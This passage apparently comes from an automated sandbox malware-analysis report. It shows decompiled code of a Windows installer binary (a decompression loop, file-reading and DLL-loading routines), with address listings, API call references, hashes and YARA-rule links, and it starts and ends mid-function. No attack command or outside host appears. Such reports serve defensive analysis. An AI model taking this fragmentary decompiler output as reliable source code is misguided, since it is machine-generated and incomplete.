												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													goto L99;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00406f64
0x00406f64
0x00406f68
0x00406f91
0x00406f9b
0x00406f6a
0x00406f73
0x00406f80
0x00406f83
0x004072c7
0x004072c7
0x004072ca
0x004072ca
0x004072ca
0x004072d0
0x004072d6
0x004072dc
0x004072f6
0x004072f9
0x004072ff
0x0040730a
0x0040730c
0x004072de
0x004072de
0x004072ed
0x004072f1
0x004072f1
0x00407316
0x00000000
0x00000000
0x00407318
0x0040731c
0x004074cb
0x004074e1
0x004074e9
0x004074f0
0x004074f2
0x004074f9
0x004074fd
0x004074fd
0x00407328
0x0040732f
0x00407337
0x0040733a
0x0040733d
0x0040733d
0x00407343
0x00407343
0x00406adf
0x00406adf
0x00406adf
0x00406ae8
0x00000000
0x00000000
0x00406aee
0x00000000
0x00406af9
0x00000000
0x00000000
0x00406b02
0x00406b05
0x00406b08
0x00406b0c
0x00000000
0x00000000
0x00406b12
0x00406b15
0x00406b17
0x00406b18
0x00406b1b
0x00406b1d
0x00406b1e
0x00406b20
0x00406b23
0x00406b28
0x00406b2d
0x00406b36
0x00406b49
0x00406b4c
0x00406b58
0x00406b80
0x00406b82
0x00406b90
0x00406b90
0x00406b94
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b84
0x00406b84
0x00406b87
0x00406b88
0x00406b88
0x00000000
0x00406b84
0x00406b5e
0x00406b63
0x00406b63
0x00406b6c
0x00406b74
0x00406b77
0x00000000
0x00406b7d
0x00406b7d
0x00000000
0x00406b7d
0x00000000
0x00406b9a
0x00406b9a
0x00406b9e
0x0040744a
0x00000000
0x0040744a
0x00406ba7
0x00406bb7
0x00406bba
0x00406bbd
0x00406bbd
0x00406bbd
0x00406bc0
0x00406bc4
0x00000000
0x00000000
0x00406bc6
0x00406bcc
0x00406bf6
0x00406bfc
0x00406c03
0x00000000
0x00406c03
0x00406bd2
0x00406bd5
0x00406bda
0x00406bda
0x00406be5
0x00406bed
0x00406bf0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c35
0x00406c3b
0x00406c3e
0x00406c4b
0x00406c53
0x004072c7
0x00000000
0x00000000
0x00406c0a
0x00406c0a
0x00406c0e
0x00407459
0x00000000
0x00407459
0x00406c1a
0x00406c25
0x00406c25
0x00406c25
0x00406c28
0x00406c2b
0x00406c2e
0x00406c33
0x00000000
0x00000000
0x00000000
0x00000000
0x004072ca
0x004072ca
0x004072d0
0x004072d6
0x004072dc
0x004072f6
0x004072f9
0x004072ff
0x0040730a
0x0040730c
0x004072de
0x004072de
0x004072ed
0x004072f1
0x004072f1
0x00407316
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c5b
0x00406c5d
0x00406c60
0x00406cd1
0x00406cd4
0x00406cd7
0x00406cde
0x00406ce8
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x004072c7
0x00406c62
0x00406c66
0x00406c69
0x00406c6b
0x00406c6e
0x00406c71
0x00406c73
0x00406c76
0x00406c78
0x00406c7d
0x00406c80
0x00406c83
0x00406c87
0x00406c8e
0x00406c91
0x00406c98
0x00406c9c
0x00406ca4
0x00406ca4
0x00406ca4
0x00406c9e
0x00406c9e
0x00406c9e
0x00406c93
0x00406c93
0x00406c93
0x00406ca8
0x00406cab
0x00406cc9
0x00406ccb
0x00000000
0x00406cad
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb8
0x00406cb8
0x00406cb8
0x00406cbb
0x00406cbe
0x00406cc0
0x00406cc1
0x00406cc4
0x00000000
0x00406cc4
0x00000000
0x00406efa
0x00406efe
0x00406f1c
0x00406f1f
0x00406f26
0x00406f29
0x00406f2c
0x00406f2f
0x00406f32
0x00406f35
0x00406f37
0x00406f3e
0x00406f3f
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4a
0x00406f4f
0x00000000
0x00406f4f
0x00406f00
0x00406f03
0x00406f06
0x00406f10
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x00000000
0x00000000
0x00000000
0x00406fa7
0x00406fab
0x00000000
0x00000000
0x00406fb1
0x00406fb5
0x00000000
0x00000000
0x00406fbb
0x00406fbd
0x00406fc1
0x00406fc1
0x00406fc4
0x00406fc8
0x00000000
0x00000000
0x00407018
0x0040701c
0x00407023
0x00407026
0x00407029
0x00407033
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x004072c7
0x0040701e
0x00000000
0x00000000
0x0040703f
0x00407043
0x0040704a
0x0040704d
0x00407050
0x00407045
0x00407045
0x00407045
0x00407053
0x00407056
0x00407059
0x00407059
0x0040705c
0x0040705f
0x00407062
0x00407062
0x00407065
0x0040706c
0x00407071
0x00000000
0x00000000
0x004070ff
0x004070ff
0x00407103
0x004074a1
0x00000000
0x004074a1
0x00407109
0x0040710c
0x0040710f
0x00407113
0x00407116
0x0040711c
0x0040711e
0x0040711e
0x0040711e
0x00407121
0x00407124
0x00000000
0x00000000
0x00406cf4
0x00406cf4
0x00406cf8
0x00407465
0x00000000
0x00407465
0x00406cfe
0x00406d01
0x00406d04
0x00406d08
0x00406d0b
0x00406d11
0x00406d13
0x00406d13
0x00406d13
0x00406d16
0x00406d19
0x00406d19
0x00406d1c
0x00406d1f
0x00000000
0x00000000
0x00406d25
0x00406d2b
0x00000000
0x00000000
0x00406d31
0x00406d31
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d42
0x00406d45
0x00406d47
0x00406d4d
0x00406d50
0x00406d53
0x00406d56
0x00406d59
0x00406d5c
0x00406d5f
0x00406d7b
0x00406d7e
0x00406d81
0x00406d84
0x00406d8b
0x00406d8f
0x00406d91
0x00406d95
0x00406d61
0x00406d61
0x00406d65
0x00406d6d
0x00406d72
0x00406d74
0x00406d76
0x00406d76
0x00406d98
0x00406d9f
0x00406da2
0x00000000
0x00406da8
0x00000000
0x00406da8
0x00000000
0x00406dad
0x00406dad
0x00406db1
0x00407471
0x00000000
0x00407471
0x00406db7
0x00406dba
0x00406dbd
0x00406dc1
0x00406dc4
0x00406dca
0x00406dcc
0x00406dcc
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd2
0x00406dd2
0x00406dd8
0x00000000
0x00000000
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406df8
0x00406e10
0x00406e13
0x00406e16
0x00406e19
0x00406e19
0x00406e1c
0x00406e20
0x00406e22
0x00406dfa
0x00406dfa
0x00406e02
0x00406e07
0x00406e09
0x00406e0b
0x00406e0b
0x00406e25
0x00406e2c
0x00406e2f
0x00000000
0x00406e31
0x00000000
0x00406e31
0x00406e2f
0x00406e36
0x00406e36
0x00406e36
0x00406e36
0x00000000
0x00000000
0x00406e71
0x00406e71
0x00406e75
0x0040747d
0x00000000
0x0040747d
0x00406e7b
0x00406e7e
0x00406e81
0x00406e85
0x00406e88
0x00406e8e
0x00406e90
0x00406e90
0x00406e90
0x00406e93
0x00406e96
0x00406e96
0x00406e9c
0x00406e3a
0x00406e3a
0x00406e3d
0x00000000
0x00406e3d
0x00406e9e
0x00406e9e
0x00406ea1
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406eb6
0x00406eb9
0x00406ebc
0x00406ed4
0x00406ed7
0x00406eda
0x00406edd
0x00406edd
0x00406ee0
0x00406ee4
0x00406ee6
0x00406ebe
0x00406ebe
0x00406ec6
0x00406ecb
0x00406ecd
0x00406ecf
0x00406ecf
0x00406ee9
0x00406ef0
0x00406ef3
0x00000000
0x00406ef5
0x00000000
0x00406ef5
0x00000000
0x00407182
0x00407182
0x00407186
0x004074ad
0x00000000
0x004074ad
0x0040718c
0x0040718f
0x00407192
0x00407196
0x00407199
0x0040719f
0x004071a1
0x004071a1
0x004071a1
0x004071a4
0x00000000
0x00000000
0x00406f52
0x00406f52
0x00406f55
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x00000000
0x00407291
0x00407295
0x004072b7
0x004072ba
0x004072c4
0x004072c7
0x004072c7
0x00000000
0x004072c7
0x004072c7
0x00407297
0x0040729a
0x0040729e
0x004072a1
0x004072a1
0x004072a4
0x00000000
0x00000000
0x0040734e
0x00407352
0x00407370
0x00407370
0x00407370
0x00407377
0x0040737e
0x00407385
0x00407385
0x00000000
0x00407385
0x00407354
0x00407357
0x0040735a
0x0040735d
0x00407364
0x004072a8
0x004072a8
0x004072ab
0x00000000
0x00000000
0x0040743f
0x00407442
0x00407343
0x00000000
0x00000000
0x00407079
0x0040707b
0x00407082
0x00407083
0x00407085
0x00407088
0x00000000
0x00000000
0x00407090
0x00407093
0x00407096
0x00407098
0x0040709a
0x0040709a
0x0040709b
0x0040709e
0x004070a5
0x004070a8
0x004070b6
0x00000000
0x00000000
0x0040738c
0x0040738c
0x0040738f
0x00407396
0x00000000
0x00000000
0x0040739b
0x0040739b
0x0040739f
0x004074d7
0x00000000
0x004074d7
0x004073a5
0x004073a8
0x004073ab
0x004073af
0x004073b2
0x004073b8
0x004073ba
0x004073ba
0x004073ba
0x004073bd
0x004073c0
0x004073c0
0x004073c0
0x004073c0
0x004073c3
0x004073c3
0x004073c7
0x00407427
0x0040742a
0x0040742f
0x00407430
0x00407432
0x00407434
0x00407437
0x00407343
0x00407343
0x00000000
0x00407349
0x00407343
0x004073c9
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073de
0x004073e1
0x004073e4
0x004073e7
0x004073ea
0x00407403
0x00407406
0x00407409
0x0040740c
0x00407410
0x00407412
0x00407412
0x00407413
0x00407416
0x004073ec
0x004073ec
0x004073f4
0x004073f9
0x004073fb
0x004073fe
0x004073fe
0x00407419
0x00407420
0x00000000
0x00407422
0x00000000
0x00407422
0x00000000
0x004070be
0x004070c1
0x004070f7
0x00407227
0x00407227
0x00407227
0x00407227
0x0040722a
0x0040722a
0x0040722d
0x0040722f
0x004074b9
0x00000000
0x004074b9
0x00407235
0x00407238
0x00000000
0x00000000
0x0040723e
0x00407242
0x00407245
0x00407245
0x00407245
0x00000000
0x00407245
0x004070c3
0x004070c5
0x004070c7
0x004070c9
0x004070cc
0x004070cd
0x004070cf
0x004070d1
0x004070d4
0x004070d7
0x004070ed
0x004070f2
0x0040712a
0x0040712a
0x0040712e
0x0040715a
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407169
0x0040716e
0x0040716e
0x00407170
0x00407173
0x0040717a
0x0040717d
0x004071aa
0x004071aa
0x004071ad
0x004071b0
0x00407224
0x00407224
0x00407224
0x00000000
0x00407224
0x004071b2
0x004071b8
0x004071bb
0x004071be
0x004071c1
0x004071c4
0x004071c7
0x004071ca
0x004071cd
0x004071d0
0x004071d3
0x004071ec
0x004071ee
0x004071f1
0x004071f2
0x004071f5
0x004071f7
0x004071fa
0x004071fc
0x004071fe
0x00407201
0x00407203
0x00407206
0x0040720a
0x0040720c
0x0040720c
0x0040720d
0x00407210
0x00407213
0x004071d5
0x004071d5
0x004071dd
0x004071e2
0x004071e4
0x004071e7
0x004071e7
0x00407216
0x0040721d
0x004071a7
0x004071a7
0x004071a7
0x004071a7
0x00000000
0x0040721f
0x00000000
0x0040721f
0x0040721d
0x00407130
0x00407133
0x00407135
0x00407138
0x0040713b
0x0040713e
0x00407140
0x00407143
0x00407146
0x00407146
0x00407149
0x00407149
0x0040714c
0x00407153
0x00407127
0x00407127
0x00407127
0x00407127
0x00000000
0x00407155
0x00000000
0x00407155
0x00407153
0x004070d9
0x004070dc
0x004070de
0x004070e1
0x00000000
0x00000000
0x00406e40
0x00406e40
0x00406e44
0x00407489
0x00000000
0x00407489
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x00406e69
0x00406e69
0x00406e69
0x00000000
0x00000000
0x00406fcb
0x00406fcb
0x00406fcf
0x00407495
0x00000000
0x00407495
0x00406fd5
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe0
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fe6
0x00406fe9
0x00406fec
0x00406fef
0x00406ff2
0x00406ff3
0x00406ff5
0x00406ff5
0x00406ff5
0x00406ff8
0x00406ffb
0x00406ffe
0x00407001
0x00407001
0x00407001
0x00407004
0x00407006
0x00407006
0x00000000
0x00000000
0x00407248
0x00407248
0x00407248
0x0040724c
0x00000000
0x00000000
0x00407252
0x00407255
0x00407258
0x0040725b
0x0040725d
0x0040725d
0x0040725d
0x00407260
0x00407263
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407270
0x00407272
0x00407272
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x00407285
0x00407287
0x0040728a
0x00000000
0x0040728c
0x00407009
0x00407009
0x00000000
0x00407009
0x0040728a
0x004074bf
0x00000000
0x00000000
0x00406aee
0x004074f6
0x004074f6
0x00000000
0x004074f6
0x00407343
0x004072ca
0x004072c7

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction ID: ed69e48f2b9f224f5de76fa38221f26f69075a156c73166e2e17eecf637d197c
Opcode Fuzzy Hash: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction Fuzzy Hash: B1714671E04228CFDF28CF98C854BADBBB1FB44305F15806AD856B7281C7786946DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00403411, Relevance: 4.6, APIs: 3, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00403411(intOrPtr _a4) {
				intOrPtr _t10;
				intOrPtr _t11;
				signed int _t12;
				void* _t14;
				void* _t15;
				long _t16;
				void* _t18;
				intOrPtr _t19;
				intOrPtr _t31;
				long _t32;
				intOrPtr _t34;
				intOrPtr _t36;
				void* _t37;
				intOrPtr _t49;

				_t32 =  *0x420ef4; // 0x38cfb
				_t34 = _t32 -  *0x40ce60 + _a4;
				 *0x42a270 = GetTickCount() + 0x1f4;
				if(_t34 <= 0) {
					L22:
					E00402FC6(1);
					return 0;
				}
				E00403590( *0x420f04);
				SetFilePointer( *0x40a01c,  *0x40ce60, 0, 0); // executed
				 *0x420f00 = _t34;
				 *0x420ef0 = 0;
				while(1) {
					_t10 =  *0x420ef8; // 0x4546b
					_t31 = 0x4000;
					_t11 = _t10 -  *0x420f04;
					if(_t11 <= 0x4000) {
						_t31 = _t11;
					}
					_t12 = E0040357A(0x414ef0, _t31);
					if(_t12 == 0) {
						break;
					}
					 *0x420f04 =  *0x420f04 + _t31;
					 *0x40ce80 = 0x414ef0;
					 *0x40ce84 = _t31;
					L6:
					L6:
					if( *0x42a274 != 0 &&  *0x42a320 == 0) {
						_t19 =  *0x420f00; // 0x31e86
						 *0x420ef0 = _t19 -  *0x420ef4 - _a4 +  *0x40ce60;
						E00402FC6(0);
					}
					 *0x40ce88 = 0x40cef0;
					 *0x40ce8c = 0x8000; // executed
					_t14 = E00406AAC(0x40ce68); // executed
					if(_t14 < 0) {
						goto L20;
					}
					_t36 =  *0x40ce88; // 0x4107b9
					_t37 = _t36 - 0x40cef0;
					if(_t37 == 0) {
						__eflags =  *0x40ce84; // 0x0
						if(__eflags != 0) {
							goto L20;
						}
						__eflags = _t31;
						if(_t31 == 0) {
							goto L20;
						}
						L16:
						_t16 =  *0x420ef4; // 0x38cfb
						if(_t16 -  *0x40ce60 + _a4 > 0) {
							continue;
						}
						SetFilePointer( *0x40a01c, _t16, 0, 0); // executed
						goto L22;
					}
					_t18 = E004060E4( *0x40a01c, 0x40cef0, _t37); // executed
					if(_t18 == 0) {
						_push(0xfffffffe);
						L21:
						_pop(_t15);
						return _t15;
					}
					 *0x40ce60 =  *0x40ce60 + _t37;
					_t49 =  *0x40ce84; // 0x0
					if(_t49 != 0) {
						goto L6;
					}
					goto L16;
					L20:
					_push(0xfffffffd);
					goto L21;
				}
				return _t12 | 0xffffffff;
			}

0x00403414
0x00403421
0x00403434
0x00403439
0x00403569
0x0040356b
0x00000000
0x00403571
0x00403445
0x00403458
0x0040345e
0x00403464
0x0040346f
0x0040346f
0x00403474
0x00403479
0x00403481
0x00403483
0x00403483
0x0040348c
0x00403493
0x00000000
0x00000000
0x00403499
0x0040349f
0x004034a5
0x00000000
0x004034ab
0x004034b1
0x004034bb
0x004034d1
0x004034d6
0x004034db
0x004034e1
0x004034e7
0x004034f1
0x004034f8
0x00000000
0x00000000
0x004034fa
0x00403500
0x00403502
0x00403525
0x0040352b
0x00000000
0x00000000
0x0040352d
0x0040352f
0x00000000
0x00000000
0x00403531
0x00403531
0x00403544
0x00000000
0x00000000
0x00403553
0x00000000
0x00403553
0x0040350c
0x00403513
0x00403560
0x00403566
0x00403566
0x00000000
0x00403566
0x00403515
0x0040351b
0x00403521
0x00000000
0x00000000
0x00000000
0x00403564
0x00403564
0x00000000
0x00403564
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00403425

Part of subcall function 00403590: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 00403458
SetFilePointer.KERNELBASE(00038CFB,00000000,00000000,00414EF0,00004000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000), ref: 00403553

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction ID: 897ba5cc79bc3f0d18eddf3670deff7b1eb1d467b83339ddcdcbfe179e357187
Opcode Fuzzy Hash: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction Fuzzy Hash: D3317CB2604205EBCB20DF39FE848263BA9B744395755023BE900B32F1C7B99D45DB9D

Uniqueness

Uniqueness Score: -1.00%

Function 004020D0, Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E004020D0(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				WCHAR* _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x42a338");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x42a308 =  *0x42a308 +  *(_t39 - 4);
					return 0;
				}
				_t35 = E00402D3E(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x44)) = E00402D3E(1);
				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
					_t47 = _t23 - _t32;
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t36 = E004069A0(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
					if(_t36 == _t32) {
						E004055A4(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce58, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x28)));
							if( *_t36() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403BAB( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8));
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t35); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x004020d0
0x004020d0
0x004020d5
0x004020dc
0x0040219b
0x004022e9
0x004022e9
0x00402bc2
0x00402bc5
0x00402bd1
0x00402bd1
0x004020eb
0x004020f5
0x004020f8
0x00402108
0x0040210c
0x00402112
0x00402114
0x00402117
0x00402194
0x00000000
0x00402194
0x00402119
0x00402124
0x00402128
0x00402168
0x0040212a
0x0040212d
0x00402130
0x0040215c
0x00402132
0x00402135
0x0040213e
0x00402140
0x00402140
0x0040213e
0x00402130
0x00402170
0x00402189
0x00402189
0x00000000
0x00402170
0x004020fb
0x00402103
0x00402106
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 004020FB

Part of subcall function 004055A4: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(00422728,00403040), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(00422728,00422728), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 0040210C
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402189

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 281a0d6ea35f89f6621ff779b54ca6ec35bae43d7113f061e7420eb1a16a743d
Instruction ID: f92bc13af20f738db02ac2fc0b39f0a9d6660206439d55b7b5299bd0a9e162c8
Opcode Fuzzy Hash: 281a0d6ea35f89f6621ff779b54ca6ec35bae43d7113f061e7420eb1a16a743d
Instruction Fuzzy Hash: 4521C671600204EBCF10AFA5CE48A9E7B70AF44358F70413BF511B91E1C7BD8E82966E

Uniqueness

Uniqueness Score: -1.00%

Function 00403309, Relevance: 3.1, APIs: 2, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00403309(void* __ecx, long _a4, intOrPtr _a8, void* _a12, long _a16) {
				long _v8;
				long _t21;
				long _t22;
				void* _t24;
				long _t26;
				int _t27;
				long _t28;
				void* _t30;
				long _t31;
				long _t32;
				long _t36;

				_t21 = _a4;
				if(_t21 >= 0) {
					_t32 = _t21 +  *0x42a2d8;
					 *0x420ef4 = _t32;
					SetFilePointer( *0x40a01c, _t32, 0, 0); // executed
				}
				_t22 = E00403411(4);
				if(_t22 >= 0) {
					_t24 = E004060B5( *0x40a01c,  &_a4, 4); // executed
					if(_t24 == 0) {
						L18:
						_push(0xfffffffd);
						goto L19;
					} else {
						 *0x420ef4 =  *0x420ef4 + 4;
						_t36 = E00403411(_a4);
						if(_t36 < 0) {
							L21:
							_t22 = _t36;
						} else {
							if(_a12 != 0) {
								_t26 = _a4;
								if(_t26 >= _a16) {
									_t26 = _a16;
								}
								_t27 = ReadFile( *0x40a01c, _a12, _t26,  &_v8, 0); // executed
								if(_t27 != 0) {
									_t36 = _v8;
									 *0x420ef4 =  *0x420ef4 + _t36;
									goto L21;
								} else {
									goto L18;
								}
							} else {
								if(_a4 <= 0) {
